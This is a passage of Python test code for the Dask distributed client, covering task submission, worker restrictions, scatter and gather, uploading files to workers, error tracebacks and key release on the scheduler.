test_missing_data_heals(c, s, a, b): a.validate = False b.validate = False x = c.submit(inc, 1) y = c.submit(inc, x) z = c.submit(inc, y) await wait([x, y, z]) # Secretly delete y's key if y.key in a.data: del a.data[y.key] a.release_key(y.key) if y.key in b.data: del b.data[y.key] b.release_key(y.key) await asyncio.sleep(0) w = c.submit(add, y, z) result = await w assert result == 3 + 4 @pytest.mark.skip @gen_cluster(client=True) async def test_gather_robust_to_missing_data(c, s, a, b): a.validate = False b.validate = False x, y, z = c.map(inc, range(3)) await wait([x, y, z]) # everything computed for f in [x, y]: for w in [a, b]: if f.key in w.data: del w.data[f.key] await asyncio.sleep(0) w.release_key(f.key) xx, yy, zz = await c.gather([x, y, z]) assert (xx, yy, zz) == (1, 2, 3) @pytest.mark.skip @gen_cluster(client=True) async def test_gather_robust_to_nested_missing_data(c, s, a, b): a.validate = False b.validate = False w = c.submit(inc, 1) x = c.submit(inc, w) y = c.submit(inc, x) z = c.submit(inc, y) await wait([z]) for worker in [a, b]: for datum in [y, z]: if datum.key in worker.data: del worker.data[datum.key] await asyncio.sleep(0) worker.release_key(datum.key) result = await c.gather([z]) assert result == [inc(inc(inc(inc(1))))] @gen_cluster(client=True) async def test_tokenize_on_futures(c, s, a, b): x = c.submit(inc, 1) y = c.submit(inc, 1) tok = tokenize(x) assert tokenize(x) == tokenize(x) assert tokenize(x) == tokenize(y) c.futures[x.key].finish() assert tok == tokenize(y) @pytest.mark.skipif( not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost" ) @gen_cluster([("127.0.0.1", 1), ("127.0.0.2", 2)], client=True) async def test_restrictions_submit(c, s, a, b): x = c.submit(inc, 1, workers={a.ip}) y = c.submit(inc, x, workers={b.ip}) await wait([x, y]) assert s.host_restrictions[x.key] == {a.ip} assert x.key in a.data assert s.host_restrictions[y.key] == {b.ip} assert y.key in b.data @gen_cluster(client=True) async def test_restrictions_ip_port(c, s, a, b): x = c.submit(inc, 1, workers={a.address}) y = c.submit(inc, x, workers={b.address}) await wait([x, y]) assert s.worker_restrictions[x.key] == {a.address} assert x.key in a.data assert s.worker_restrictions[y.key] == {b.address} assert y.key in b.data @gen_cluster(client=True) async def test_restrictions_ip_port_task_key(c, s, a, b): # Create a long dependency list tasks = [delayed(inc)(1)] for _ in range(100): tasks.append(delayed(add)(tasks[-1], random.choice(tasks))) last_task = tasks[-1] # calculate all dependency keys all_tasks = list(last_task.__dask_graph__()) # only restrict to a single worker workers = {d: a.address for d in all_tasks} result = c.compute(last_task, workers=workers) await result # all tasks should have been calculated by the first worker for task in tasks: assert s.worker_restrictions[task.key] == {a.address} # and the data should also be there assert last_task.key in a.data assert last_task.key not in b.data @pytest.mark.skipif( not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost" ) @gen_cluster([("127.0.0.1", 1), ("127.0.0.2", 2)], client=True) async def test_restrictions_map(c, s, a, b): L = c.map(inc, range(5), workers={a.ip}) await wait(L) assert set(a.data) == {x.key for x in L} assert not b.data for x in L: assert s.host_restrictions[x.key] == {a.ip} L = c.map(inc, [10, 11, 12], workers=[{a.ip}, {a.ip, b.ip}, {b.ip}]) await wait(L) assert s.host_restrictions[L[0].key] == {a.ip} assert s.host_restrictions[L[1].key] == {a.ip, b.ip} assert s.host_restrictions[L[2].key] == {b.ip} with pytest.raises(ValueError): c.map(inc, [10, 11, 12], workers=[{a.ip}]) @pytest.mark.skipif( not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost" ) @gen_cluster([("127.0.0.1", 1), ("127.0.0.2", 2)], client=True) async def test_restrictions_get(c, s, a, b): dsk = {"x": 1, "y": (inc, "x"), "z": (inc, "y")} restrictions = {"y": {a.ip}, "z": {b.ip}} futures = c.get(dsk, ["y", "z"], restrictions, sync=False) result = await c.gather(futures) assert result == [2, 3] assert "y" in a.data assert "z" in b.data @gen_cluster(client=True) async def dont_test_bad_restrictions_raise_exception(c, s, a, b): z = c.submit(inc, 2, workers={"bad-address"}) try: await z assert False except ValueError as e: assert "bad-address" in str(e) assert z.key in str(e) @gen_cluster(client=True, timeout=None) async def test_remove_worker(c, s, a, b): L = c.map(inc, range(20)) await wait(L) await b.close() assert b.address not in s.workers result = await c.gather(L) assert result == list(map(inc, range(20))) @gen_cluster(nthreads=[("127.0.0.1", 1)], client=True) async def test_errors_dont_block(c, s, w): L = [c.submit(inc, 1), c.submit(throws, 1), c.submit(inc, 2), c.submit(throws, 2)] start = time() while not (L[0].status == L[2].status == "finished"): assert time() < start + 5 await asyncio.sleep(0.01) result = await c.gather([L[0], L[2]]) assert result == [2, 3] @gen_cluster(client=True) async def test_submit_quotes(c, s, a, b): def assert_list(x, z=[]): return isinstance(x, list) and isinstance(z, list) x = c.submit(assert_list, [1, 2, 3]) result = await x assert result x = c.submit(assert_list, [1, 2, 3], z=[4, 5, 6]) result = await x assert result x = c.submit(inc, 1) y = c.submit(inc, 2) z = c.submit(assert_list, [x, y]) result = await z assert result @gen_cluster(client=True) async def test_map_quotes(c, s, a, b): def assert_list(x, z=[]): return isinstance(x, list) and isinstance(z, list) L = c.map(assert_list, [[1, 2, 3], [4]]) result = await c.gather(L) assert all(result) L = c.map(assert_list, [[1, 2, 3], [4]], z=[10]) result = await c.gather(L) assert all(result) L = c.map(assert_list, [[1, 2, 3], [4]], [[]] * 3) result = await c.gather(L) assert all(result) @gen_cluster() async def test_two_consecutive_clients_share_results(s, a, b): c = await Client(s.address, asynchronous=True) x = c.submit(random.randint, 0, 1000, pure=True) xx = await x f = await Client(s.address, asynchronous=True) y = f.submit(random.randint, 0, 1000, pure=True) yy = await y assert xx == yy await c.close() await f.close() @gen_cluster(client=True) async def test_submit_then_get_with_Future(c, s, a, b): x = c.submit(slowinc, 1) dsk = {"y": (inc, x)} result = await c.get(dsk, "y", sync=False) assert result == 3 @gen_cluster(client=True) async def test_aliases(c, s, a, b): x = c.submit(inc, 1) dsk = {"y": x} result = await c.get(dsk, "y", sync=False) assert result == 2 @gen_cluster(client=True) async def test_aliases_2(c, s, a, b): dsk_keys = [ ({"x": (inc, 1), "y": "x", "z": "x", "w": (add, "y", "z")}, ["y", "w"]), ({"x": "y", "y": 1}, ["x"]), ({"x": 1, "y": "x", "z": "y", "w": (inc, "z")}, ["w"]), ] for dsk, keys in dsk_keys: result = await c.gather(c.get(dsk, keys, sync=False)) assert list(result) == list(dask.get(dsk, keys)) await asyncio.sleep(0) @gen_cluster(client=True) async def test_scatter(c, s, a, b): d = await c.scatter({"y": 20}) assert isinstance(d["y"], Future) assert a.data.get("y") == 20 or b.data.get("y") == 20 y_who_has = s.get_who_has(keys=["y"])["y"] assert a.address in y_who_has or b.address in y_who_has assert s.get_nbytes(summary=False) == {"y": sizeof(20)} yy = await c.gather([d["y"]]) assert yy == [20] [x] = await c.scatter([10]) assert isinstance(x, Future) assert a.data.get(x.key) == 10 or b.data.get(x.key) == 10 xx = await c.gather([x]) x_who_has = s.get_who_has(keys=[x.key])[x.key] assert s.tasks[x.key].who_has assert ( s.workers[a.address] in s.tasks[x.key].who_has or s.workers[b.address] in s.tasks[x.key].who_has ) assert s.get_nbytes(summary=False) == {"y": sizeof(20), x.key: sizeof(10)} assert xx == [10] z = c.submit(add, x, d["y"]) # submit works on Future result = await z assert result == 10 + 20 result = await c.gather([z, x]) assert result == [30, 10] @gen_cluster(client=True) async def test_scatter_types(c, s, a, b): d = await c.scatter({"x": 1}) assert isinstance(d, dict) assert list(d) == ["x"] for seq in [[1], (1,), {1}, frozenset([1])]: L = await c.scatter(seq) assert isinstance(L, type(seq)) assert len(L) == 1 s.validate_state() seq = await c.scatter(range(5)) assert isinstance(seq, list) assert len(seq) == 5 s.validate_state() @gen_cluster(client=True) async def test_scatter_non_list(c, s, a, b): x = await c.scatter(1) assert isinstance(x, Future) result = await x assert result == 1 @gen_cluster(client=True) async def test_scatter_hash(c, s, a, b): [a] = await c.scatter([1]) [b] = await c.scatter([1]) assert a.key == b.key s.validate_state() @gen_cluster(client=True) async def test_scatter_tokenize_local(c, s, a, b): from dask.base import normalize_token class MyObj: pass L = [] @normalize_token.register(MyObj) def f(x): L.append(x) return "x" obj = MyObj() future = await c.scatter(obj) assert L and L[0] is obj @gen_cluster(client=True) async def test_scatter_singletons(c, s, a, b): np = pytest.importorskip("numpy") pd = pytest.importorskip("pandas") for x in [1, np.ones(5), pd.DataFrame({"x": [1, 2, 3]})]: future = await c.scatter(x) result = await future assert str(result) == str(x) @gen_cluster(client=True) async def test_scatter_typename(c, s, a, b): future = await c.scatter(123) assert future.key.startswith("int") @gen_cluster(client=True) async def test_scatter_hash(c, s, a, b): x = await c.scatter(123) y = await c.scatter(123) assert x.key == y.key z = await c.scatter(123, hash=False) assert z.key != y.key @gen_cluster(client=True) async def test_get_releases_data(c, s, a, b): await c.gather(c.get({"x": (inc, 1)}, ["x"], sync=False)) import gc gc.collect() start = time() while c.refcount["x"]: await asyncio.sleep(0.01) assert time() < start + 2 def test_current(s, a, b): with Client(s["address"]) as c: assert Client.current() is c with pytest.raises(ValueError): Client.current() with Client(s["address"]) as c: assert Client.current() is c def test_global_clients(loop): assert _get_global_client() is None with pytest.raises(ValueError): default_client() with cluster() as (s, [a, b]): with Client(s["address"], loop=loop) as c: assert _get_global_client() is c assert default_client() is c with Client(s["address"], loop=loop) as f: assert _get_global_client() is f assert default_client() is f assert default_client(c) is c assert default_client(f) is f assert _get_global_client() is None @gen_cluster(client=True) async def test_exception_on_exception(c, s, a, b): x = c.submit(lambda: 1 / 0) y = c.submit(inc, x) with pytest.raises(ZeroDivisionError): await y z = c.submit(inc, y) with pytest.raises(ZeroDivisionError): await z @gen_cluster(client=True) async def test_get_nbytes(c, s, a, b): [x] = await c.scatter([1]) assert s.get_nbytes(summary=False) == {x.key: sizeof(1)} y = c.submit(inc, x) await y assert s.get_nbytes(summary=False) == {x.key: sizeof(1), y.key: sizeof(2)} @pytest.mark.skipif( not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost" ) @gen_cluster([("127.0.0.1", 1), ("127.0.0.2", 2)], client=True) async def test_nbytes_determines_worker(c, s, a, b): x = c.submit(identity, 1, workers=[a.ip]) y = c.submit(identity, tuple(range(100)), workers=[b.ip]) await c.gather([x, y]) z = c.submit(lambda x, y: None, x, y) await z assert s.tasks[z.key].who_has == {s.workers[b.address]} @gen_cluster(client=True) async def test_if_intermediates_clear_on_error(c, s, a, b): x = delayed(div, pure=True)(1, 0) y = delayed(div, pure=True)(1, 2) z = delayed(add, pure=True)(x, y) f = c.compute(z) with pytest.raises(ZeroDivisionError): await f s.validate_state() assert not any(ts.who_has for ts in s.tasks.values()) @gen_cluster( client=True, config={"distributed.scheduler.default-task-durations": {"f": "1ms"}} ) async def test_pragmatic_move_small_data_to_large_data(c, s, a, b): np = pytest.importorskip("numpy") lists = c.map(np.ones, [10000] * 10, pure=False) sums = c.map(np.sum, lists) total = c.submit(sum, sums) def f(x, y): return None results = c.map(f, lists, [total] * 10) await wait([total]) await wait(results) assert ( sum( s.tasks[r.key].who_has.issubset(s.tasks[l.key].who_has) for l, r in zip(lists, results) ) >= 9 ) @gen_cluster(client=True) async def test_get_with_non_list_key(c, s, a, b): dsk = {("x", 0): (inc, 1), 5: (inc, 2)} x = await c.get(dsk, ("x", 0), sync=False) y = await c.get(dsk, 5, sync=False) assert x == 2 assert y == 3 @gen_cluster(client=True) async def test_get_with_error(c, s, a, b): dsk = {"x": (div, 1, 0), "y": (inc, "x")} with pytest.raises(ZeroDivisionError): await c.get(dsk, "y", sync=False) def test_get_with_error_sync(c): dsk = {"x": (div, 1, 0), "y": (inc, "x")} with pytest.raises(ZeroDivisionError): c.get(dsk, "y") @gen_cluster(client=True) async def test_directed_scatter(c, s, a, b): await c.scatter([1, 2, 3], workers=[a.address]) assert len(a.data) == 3 assert not b.data await c.scatter([4, 5], workers=[b.name]) assert len(b.data) == 2 def test_directed_scatter_sync(c, s, a, b, loop): futures = c.scatter([1, 2, 3], workers=[b["address"]]) has_what = sync(loop, c.scheduler.has_what) assert len(has_what[b["address"]]) == len(futures) assert len(has_what[a["address"]]) == 0 @gen_cluster(client=True) async def test_scatter_direct(c, s, a, b): future = await c.scatter(123, direct=True) assert future.key in a.data or future.key in b.data assert s.tasks[future.key].who_has assert future.status == "finished" result = await future assert result == 123 assert not s.counters["op"].components[0]["scatter"] result = await future assert not s.counters["op"].components[0]["gather"] result = await c.gather(future) assert not s.counters["op"].components[0]["gather"] @gen_cluster(client=True) async def test_scatter_direct_numpy(c, s, a, b): np = pytest.importorskip("numpy") x = np.ones(5) future = await c.scatter(x, direct=True) result = await future assert np.allclose(x, result) assert not s.counters["op"].components[0]["scatter"] @gen_cluster(client=True) async def test_scatter_direct_broadcast(c, s, a, b): future2 = await c.scatter(456, direct=True, broadcast=True) assert future2.key in a.data assert future2.key in b.data assert s.tasks[future2.key].who_has == {s.workers[a.address], s.workers[b.address]} result = await future2 assert result == 456 assert not s.counters["op"].components[0]["scatter"] @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 4) async def test_scatter_direct_balanced(c, s, *workers): futures = await c.scatter([1, 2, 3], direct=True) assert sorted([len(w.data) for w in workers]) == [0, 1, 1, 1] @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 4) async def test_scatter_direct_broadcast_target(c, s, *workers): futures = await c.scatter([123, 456], direct=True, workers=workers[0].address) assert futures[0].key in workers[0].data assert futures[1].key in workers[0].data futures = await c.scatter( [123, 456], direct=True, broadcast=True, workers=[w.address for w in workers[:3]], ) assert ( f.key in w.data and w.address in s.tasks[f.key].who_has for f in futures for w in workers[:3] ) @gen_cluster(client=True, nthreads=[]) async def test_scatter_direct_empty(c, s): with pytest.raises((ValueError, TimeoutError)): await c.scatter(123, direct=True, timeout=0.1) @gen_cluster(client=True, timeout=None, nthreads=[("127.0.0.1", 1)] * 5) async def test_scatter_direct_spread_evenly(c, s, *workers): futures = [] for i in range(10): future = await c.scatter(i, direct=True) futures.append(future) assert all(w.data for w in workers) @pytest.mark.parametrize("direct", [True, False]) @pytest.mark.parametrize("broadcast", [True, False]) def test_scatter_gather_sync(c, direct, broadcast): futures = c.scatter([1, 2, 3], direct=direct, broadcast=broadcast) results = c.gather(futures, direct=direct) assert results == [1, 2, 3] delayed(inc)(1).compute(direct=direct) @gen_cluster(client=True) async def test_gather_direct(c, s, a, b): futures = await c.scatter([1, 2, 3]) data = await c.gather(futures, direct=True) assert data == [1, 2, 3] @gen_cluster(client=True) async def test_many_submits_spread_evenly(c, s, a, b): L = [c.submit(inc, i) for i in range(10)] await wait(L) assert a.data and b.data @gen_cluster(client=True) async def test_traceback(c, s, a, b): x = c.submit(div, 1, 0) tb = await x.traceback() assert any("x / y" in line for line in pluck(3, traceback.extract_tb(tb))) @gen_cluster(client=True) async def test_get_traceback(c, s, a, b): try: await c.get({"x": (div, 1, 0)}, "x", sync=False) except ZeroDivisionError: exc_type, exc_value, exc_traceback = sys.exc_info() L = traceback.format_tb(exc_traceback) assert any("x / y" in line for line in L) @gen_cluster(client=True) async def test_gather_traceback(c, s, a, b): x = c.submit(div, 1, 0) try: await c.gather(x) except ZeroDivisionError: exc_type, exc_value, exc_traceback = sys.exc_info() L = traceback.format_tb(exc_traceback) assert any("x / y" in line for line in L) def test_traceback_sync(c): x = c.submit(div, 1, 0) tb = x.traceback() assert any( "x / y" in line for line in concat(traceback.extract_tb(tb)) if isinstance(line, str) ) y = c.submit(inc, x) tb2 = y.traceback() assert set(pluck(3, traceback.extract_tb(tb2))).issuperset( set(pluck(3, traceback.extract_tb(tb))) ) z = c.submit(div, 1, 2) tb = z.traceback() assert tb is None @gen_cluster(client=True) async def test_upload_file(c, s, a, b): def g(): import myfile return myfile.f() with save_sys_modules(): for value in [123, 456]: with tmp_text("myfile.py", "def f():\n return {}".format(value)) as fn: await c.upload_file(fn) x = c.submit(g, pure=False) result = await x assert result == value @gen_cluster(client=True) async def test_upload_file_refresh_delayed(c, s, a, b): with save_sys_modules(): for value in [123, 456]: with tmp_text("myfile.py", "def f():\n return {}".format(value)) as fn: await c.upload_file(fn) sys.path.append(os.path.dirname(fn)) from myfile import f b = delayed(f)() bb = c.compute(b, sync=False) result = await c.gather(bb) assert result == value @gen_cluster(client=True) async def test_upload_file_no_extension(c, s, a, b): with tmp_text("myfile", "") as fn: await c.upload_file(fn) @gen_cluster(client=True) async def test_upload_file_zip(c, s, a, b): def g(): import myfile return myfile.f() with save_sys_modules(): try: for value in [123, 456]: with tmp_text( "myfile.py", "def f():\n return {}".format(value) ) as fn_my_file: with zipfile.ZipFile("myfile.zip", "w") as z: z.write(fn_my_file, arcname=os.path.basename(fn_my_file)) await c.upload_file("myfile.zip") x = c.submit(g, pure=False) result = await x assert result == value finally: if os.path.exists("myfile.zip"): os.remove("myfile.zip") @gen_cluster(client=True) async def test_upload_file_egg(c, s, a, b): def g(): import package_1, package_2 return package_1.a, package_2.b # c.upload_file tells each worker to # - put this file in their local_directory # - modify their sys.path to include it # we don't care about the local_directory # but we do care about restoring the path with save_sys_modules(): for value in [123, 456]: with tmpfile() as dirname: os.mkdir(dirname) with open(os.path.join(dirname, "setup.py"), "w") as f: f.write("from setuptools import setup, find_packages\n") f.write( 'setup(name="my_package", packages=find_packages(), version="{}")\n'.format( value ) ) # test a package with an underscore in the name package_1 = os.path.join(dirname, "package_1") os.mkdir(package_1) with open(os.path.join(package_1, "__init__.py"), "w") as f: f.write("a = {}\n".format(value)) # test multiple top-level packages package_2 = os.path.join(dirname, "package_2") os.mkdir(package_2) with open(os.path.join(package_2, "__init__.py"), "w") as f: f.write("b = {}\n".format(value)) # compile these into an egg subprocess.check_call( [sys.executable, "setup.py", "bdist_egg"], cwd=dirname ) egg_root = os.path.join(dirname, "dist") # first file ending with '.egg' egg_name = [ fname for fname in os.listdir(egg_root) if fname.endswith(".egg") ][0] egg_path = os.path.join(egg_root, egg_name) await c.upload_file(egg_path) os.remove(egg_path) x = c.submit(g, pure=False) result = await x assert result == (value, value) @gen_cluster(client=True) async def test_upload_large_file(c, s, a, b): assert a.local_directory assert b.local_directory with tmp_text("myfile", "abc") as fn: with tmp_text("myfile2", "def") as fn2: await c._upload_large_file(fn, remote_filename="x") await c._upload_large_file(fn2) for w in [a, b]: assert os.path.exists(os.path.join(w.local_directory, "x")) assert os.path.exists(os.path.join(w.local_directory, "myfile2")) with open(os.path.join(w.local_directory, "x")) as f: assert f.read() == "abc" with open(os.path.join(w.local_directory, "myfile2")) as f: assert f.read() == "def" def test_upload_file_sync(c): def g(): import myfile return myfile.x with tmp_text("myfile.py", "x = 123") as fn: c.upload_file(fn) x = c.submit(g) assert x.result() == 123 @gen_cluster(client=True) async def test_upload_file_exception(c, s, a, b): with tmp_text("myfile.py", "syntax-error!") as fn: with pytest.raises(SyntaxError): await c.upload_file(fn) def test_upload_file_exception_sync(c): with tmp_text("myfile.py", "syntax-error!") as fn: with pytest.raises(SyntaxError): c.upload_file(fn) @gen_cluster(client=True, nthreads=[]) async def test_upload_file_new_worker(c, s): def g(): import myfile return myfile.x with tmp_text("myfile.py", "x = 123") as fn: await c.upload_file(fn) async with Worker(s.address): x = await c.submit(g) assert x == 123 @pytest.mark.skip @gen_cluster() async def test_multiple_clients(s, a, b): a = await Client(s.address, asynchronous=True) b = await Client(s.address, asynchronous=True) x = a.submit(inc, 1) y = b.submit(inc, 2) assert x.client is a assert y.client is b xx = await x yy = await y assert xx == 2 assert yy == 3 z = a.submit(add, x, y) assert z.client is a zz = await z assert zz == 5 await a.close() await b.close() @gen_cluster(client=True) async def test_async_compute(c, s, a, b): from dask.delayed import delayed x = delayed(1) y = delayed(inc)(x) z = delayed(dec)(x) [yy, zz, aa] = c.compute([y, z, 3], sync=False) assert isinstance(yy, Future) assert isinstance(zz, Future) assert aa == 3 result = await c.gather([yy, zz]) assert result == [2, 0] assert isinstance(c.compute(y), Future) assert isinstance(c.compute([y]), (tuple, list)) @gen_cluster(client=True) async def test_async_compute_with_scatter(c, s, a, b): d = await c.scatter({("x", 1): 1, ("y", 1): 2}) x, y = d[("x", 1)], d[("y", 1)] from dask.delayed import delayed z = delayed(add)(delayed(inc)(x), delayed(inc)(y)) zz = c.compute(z) [result] = await c.gather([zz]) assert result == 2 + 3 def test_sync_compute(c): x = delayed(1) y = delayed(inc)(x) z = delayed(dec)(x) yy, zz = c.compute([y, z], sync=True) assert (yy, zz) == (2, 0) @gen_cluster(client=True) async def test_remote_scatter_gather(c, s, a, b): x, y, z = await c.scatter([1, 2, 3]) assert x.key in a.data or x.key in b.data assert y.key in a.data or y.key in b.data assert z.key in a.data or z.key in b.data xx, yy, zz = await c.gather([x, y, z]) assert (xx, yy, zz) == (1, 2, 3) @gen_cluster(timeout=1000, client=True) async def test_remote_submit_on_Future(c, s, a, b): x = c.submit(lambda x: x + 1, 1) y = c.submit(lambda x: x + 1, x) result = await y assert result == 3 def test_start_is_idempotent(c): c.start() c.start() c.start() x = c.submit(inc, 1) assert x.result() == 2 @gen_cluster(client=True) async def test_client_with_scheduler(c, s, a, b): assert s.nthreads == {a.address: a.nthreads, b.address: b.nthreads} x = c.submit(inc, 1) y = c.submit(inc, 2) z = c.submit(add, x, y) result = await x assert result == 1 + 1 result = await z assert result == 1 + 1 + 1 + 2 A, B, C = await c.scatter([1, 2, 3]) AA, BB, xx = await c.gather([A, B, x]) assert (AA, BB, xx) == (1, 2, 2) result = await c.get({"x": (inc, 1), "y": (add, "x", 10)}, "y", sync=False) assert result == 12 @pytest.mark.skipif( not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost" ) @gen_cluster([("127.0.0.1", 1), ("127.0.0.2", 2)], client=True) async def test_allow_restrictions(c, s, a, b): aws = s.workers[a.address] bws = s.workers[a.address] x = c.submit(inc, 1, workers=a.ip) await x assert s.tasks[x.key].who_has == {aws} assert not s.loose_restrictions x = c.submit(inc, 2, workers=a.ip, allow_other_workers=True) await x assert s.tasks[x.key].who_has == {aws} assert x.key in s.loose_restrictions L = c.map(inc, range(3, 13), workers=a.ip, allow_other_workers=True) await wait(L) assert all(s.tasks[f.key].who_has == {aws} for f in L) assert {f.key for f in L}.issubset(s.loose_restrictions) x = c.submit(inc, 15, workers="127.0.0.3", allow_other_workers=True) await x assert s.tasks[x.key].who_has assert x.key in s.loose_restrictions L = c.map(inc, range(15, 25), workers="127.0.0.3", allow_other_workers=True) await wait(L) assert all(s.tasks[f.key].who_has for f in L) assert {f.key for f in L}.issubset(s.loose_restrictions) with pytest.raises(ValueError): c.submit(inc, 1, allow_other_workers=True) with pytest.raises(ValueError): c.map(inc, [1], allow_other_workers=True) with pytest.raises(TypeError): c.submit(inc, 20, workers="127.0.0.1", allow_other_workers="Hello!") with pytest.raises(TypeError): c.map(inc, [20], workers="127.0.0.1", allow_other_workers="Hello!") @pytest.mark.skipif("True", reason="because") def test_bad_address(): try: Client("123.123.123.123:1234", timeout=0.1) except (IOError, TimeoutError) as e: assert "connect" in str(e).lower() try: Client("127.0.0.1:1234", timeout=0.1) except (IOError, TimeoutError) as e: assert "connect" in str(e).lower() def test_informative_error_on_cluster_type(): with pytest.raises(TypeError) as exc_info: Client(LocalCluster) assert "Scheduler address must be a string or a Cluster instance" in str( exc_info.value ) @gen_cluster(client=True) async def test_long_error(c, s, a, b): def bad(x): raise ValueError("a" * 100000) x = c.submit(bad, 10) try: await x except ValueError as e: assert len(str(e)) < 100000 tb = await x.traceback() assert all( len(line) < 100000 for line in concat(traceback.extract_tb(tb)) if isinstance(line, str) ) @gen_cluster(client=True) async def test_map_on_futures_with_kwargs(c, s, a, b): def f(x, y=10): return x + y futures = c.map(inc, range(10)) futures2 = c.map(f, futures, y=20) results = await c.gather(futures2) assert results == [i + 1 + 20 for i in range(10)] future = c.submit(inc, 100) future2 = c.submit(f, future, y=200) result = await future2 assert result == 100 + 1 + 200 class BadlySerializedObject: def __getstate__(self): return 1 def __setstate__(self, state): raise TypeError("hello!") class FatallySerializedObject: def __getstate__(self): return 1 def __setstate__(self, state): print("This should never have been deserialized, closing") import sys sys.exit(0) @gen_cluster(client=True) async def test_badly_serialized_input(c, s, a, b): o = BadlySerializedObject() future = c.submit(inc, o) futures = c.map(inc, range(10)) L = await c.gather(futures) assert list(L) == list(map(inc, range(10))) assert future.status == "error" with pytest.raises(Exception) as info: await future assert "hello!" in str(info.value) @pytest.mark.skipif("True", reason="") async def test_badly_serialized_input_stderr(capsys, c): o = BadlySerializedObject() future = c.submit(inc, o) start = time() while True: sleep(0.01) out, err = capsys.readouterr() if "hello!" in err: break assert time() - start < 20 assert future.status == "error" def test_repr(loop): funcs = [str, repr, lambda x: x._repr_html_()] with cluster(nworkers=3, worker_kwargs={"memory_limit": "2 GB"}) as (s, [a, b, c]): with Client(s["address"], loop=loop) as c: for func in funcs: text = func(c) assert c.scheduler.address in text assert "3" in text assert "6" in text assert "GB" in text if "<table" not in text: assert len(text) < 80 for func in funcs: text = func(c) assert "not connected" in text @gen_cluster(client=True) async def test_repr_async(c, s, a, b): c._repr_html_() @gen_cluster(client=True, worker_kwargs={"memory_limit": None}) async def test_repr_no_memory_limit(c, s, a, b): c._repr_html_() @gen_test() async def test_repr_localcluster(): cluster = await LocalCluster( processes=False, dashboard_address=None, asynchronous=True ) client = await Client(cluster, asynchronous=True) try: text = client._repr_html_() assert cluster.scheduler.address in text assert is_valid_xml(client._repr_html_()) finally: await client.close() await cluster.close() @gen_cluster(client=True) async def test_forget_simple(c, s, a, b): x = c.submit(inc, 1, retries=2) y = c.submit(inc, 2) z = c.submit(add, x, y, workers=[a.ip], allow_other_workers=True) await wait([x, y, z]) assert not s.waiting_data.get(x.key) assert not s.waiting_data.get(y.key) assert set(s.tasks) == {x.key, y.key, z.key} s.client_releases_keys(keys=[x.key], client=c.id) assert x.key in s.tasks s.client_releases_keys(keys=[z.key], client=c.id) assert x.key not in s.tasks assert z.key not in s.tasks assert not s.tasks[y.key].dependents s.client_releases_keys(keys=[y.key], client=c.id) assert not s.tasks @gen_cluster(client=True) async def test_forget_complex(e, s, A, B): a, b, c, d = await e.scatter(list(range(4))) ab = e.submit(add, a, b) cd = e.submit(add, c, d) ac = e.submit(add, a, c) acab = e.submit(add, ac, ab) await wait([a, b, c, d, ab, ac, cd, acab]) assert set(s.tasks) == {f.key for f in [ab, ac, cd, acab, a, b, c, d]} s.client_releases_keys(keys=[ab.key], client=e.id) assert set(s.tasks) == {f.key for f in [ab, ac, cd, acab, a, b, c, d]} s.client_releases_keys(keys=[b.key], client=e.id) assert set(s.tasks) == {f.key for f in [ac, cd, acab, a, c, d]} s.client_releases_keys(keys=[acab.key], client=e.id) assert set(s.tasks) == {f.key for f in [ac, cd, a, c, d]} assert b.key not in s.tasks start = time() while b.key in A.data or b.key in B.data: await asyncio.sleep(0.01) assert time() < start + 10 s.client_releases_keys(keys=[ac.key], client=e.id) assert set(s.tasks) == {f.key for f in [cd, a, c, d]} @gen_cluster(client=True) async def test_forget_in_flight(e, s, A, B): delayed2 = partial(delayed, pure=True) a, b, c, d = [delayed2(slowinc)(i) for i in range(4)] ab = delayed2(slowadd)(a, b, dask_key_name="ab") cd = delayed2(slowadd)(c, d, dask_key_name="cd") ac = delayed2(slowadd)(a, c, dask_key_name="ac") acab = delayed2(slowadd)(ac, ab, dask_key_name="acab") x, y = e.compute([ac, acab]) s.validate_state() for i in range(5): await asyncio.sleep(0.01) s.validate_state() s.client_releases_keys(keys=[y.key], client=e.id) s.validate_state() for k in [acab.key, ab.key, b.key]: assert k not in s.tasks @gen_cluster(client=True) async def test_forget_errors(c, s, a, b): x = c.submit(div, 1, 0) y = c.submit(inc, x) z = c.submit(inc, y) await wait([y]) assert x.key in s.exceptions assert x.key in s.exceptions_blame assert y.key in s.exceptions_blame assert z.key in s.exceptions_blame s.client_releases_keys(keys=[z.key], client=c.id) assert x.key in s.exceptions assert x.key in s.exceptions_blame assert y.key in s.exceptions_blame assert z.key not in s.exceptions_blame s.client_releases_keys(keys=[x.key], client=c.id) assert x.key in s.exceptions assert x.key in s.exceptions_blame assert y.key in s.exceptions_blame assert z.key not in s.exceptions_blame s.client_releases_keys(keys=[y.key], client=c.id) assert x.key not in s.exceptions assert x.key not in s.exceptions_blame assert y.key not in s.exceptions_blame assert z.key not in s.exceptions_blame def test_repr_sync(c): s = str(c) r = repr(c) assert c.scheduler.address in s assert c.scheduler.address in r assert str(2) in s # nworkers assert "cores" in s or "threads" in s @gen_cluster(client=True) async def test_waiting_data(c, s, a, b): x = c.submit(inc, 1) y = c.submit(inc, 2) z = c.submit(add, x, y, workers=[a.ip], allow_other_workers=True) await wait([x, y, z]) assert not s.waiting_data.get(x.key) assert not s.waiting_data.get(y.key) @gen_cluster() async def test_multi_client(s, a, b): c = await Client(s.address, asynchronous=True) f = await Client(s.address, asynchronous=True) assert set(s.client_comms) == {c.id, f.id} x = c.submit(inc, 1) y = f.submit(inc, 2) y2 = c.submit(inc, 2) assert y.key == y2.key await wait([x, y]) assert s.wants_what == { c.id: {x.key, y.key}, f.id: {y.key}, "fire-and-forget": set(), } assert s.who_wants == {x.key: {c.id}, y.key: {c.id, f.id}} await c.close() start = time() while c.id in s.wants_what: await asyncio.sleep(0.01) assert time() < start + 5 assert c.id not in s.wants_what assert c.id not in s.who_wants[y.key] assert x.key not in s.who_wants await f.close() start = time() while s.tasks: await asyncio.sleep(0.01) assert time() < start + 2, s.tasks def long_running_client_connection(address): with pristine_loop(): c = Client(address) x = c.submit(lambda x: x + 1, 10) x.result() sleep(100) @gen_cluster() async def test_cleanup_after_broken_client_connection(s, a, b): proc = mp_context.Process(target=long_running_client_connection, args=(s.address,)) proc.daemon = True proc.start() start = time() while not s.tasks: await 